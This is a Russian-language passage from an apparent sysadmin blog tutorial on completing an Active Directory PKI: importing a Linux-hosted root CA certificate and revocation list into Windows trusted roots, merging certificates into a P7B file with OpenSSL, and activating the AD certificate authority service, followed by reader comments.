Нам нужно сделать ROOT-ca.crt стал валидным сертификатом в системе Windows, напоминаю, что сейчас он с крестом и нас, конечно, такой вариант не устраивает.

Запускам MMC-консоль и подключаем оснастку Сертификаты для учетной записи компьютера.

Переходим по пути: Сертификаты\Доверительные корневые центры\Сертификаты

Добавим наш сертификат ROOT-ca.crt в "Доверительные корневые центры"

Для этого правой кнопкой по папке сертифкаты -> импорт

Указываем путь к сертификату ROOT-ca.crt и импортируем его.

После импорта сертификат должен появиться в списке

Теперь, проверяем сам файл ROOT-ca.crt

Так-то куда лучше!

(Данный сертификат нужно также распространить через групповые политики, на все ПК в AD)

Импорт CRL.

Нам также нужно импортировать списки отзыва, для этого необходимо переименовать файл crl.pem в ROOTca.crl

(теперь можно изучить файл ROOTca.crl)

Импортируем его точно также как и сертификат в доверительные корневые центры ROOT-ca.crt

Активация PKI AD-CA

Теперь можно приступить к активации нашего CA PKI AD-CA

Запускаем средство "Центр сертификации"

Перед установкой сертификата в CA, лучше предварительно настроить публикацию CDP и AIA

Активируем CA

Правой кнопкой мыши по серверу PKI AD-CA > Все задачи > Установить сертификат ЦС

Далее, указываем файл CompanyName-AD.crt и подтверждаем.

Если мы все сделали правильно, установка сертификата в CA должна пройти без ошибок и предупреждений.

Если вы не можете импортировать CompanyName-AD.crt система просит P7B файл.

Необходимо выполнить слияние CompanyName-AD.crt с ROOT-ca.crt в OpenSSL следующей командой:

openssl crl2pkcs7 -nocrl certfile ROOT-ca.crt -certfile CompanyName-AD.crt -out CompanyName-AD.p7b

Запуск PKI AD-CA

теперь мы можем запустить службу Центра сертификации

Правой кнопкой мыши по серверу PKI AD-CA > Все задачи > Запуск службы

Итог

мы получили рабочий PKI - Active Directory и можем начать выпуск сертификатов для пользователей, станций, серверов. При этом ROOT-ca находится на станции с Linux, и нам не пришлось отдавать под данную задачу отдельный сервер с Windows.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru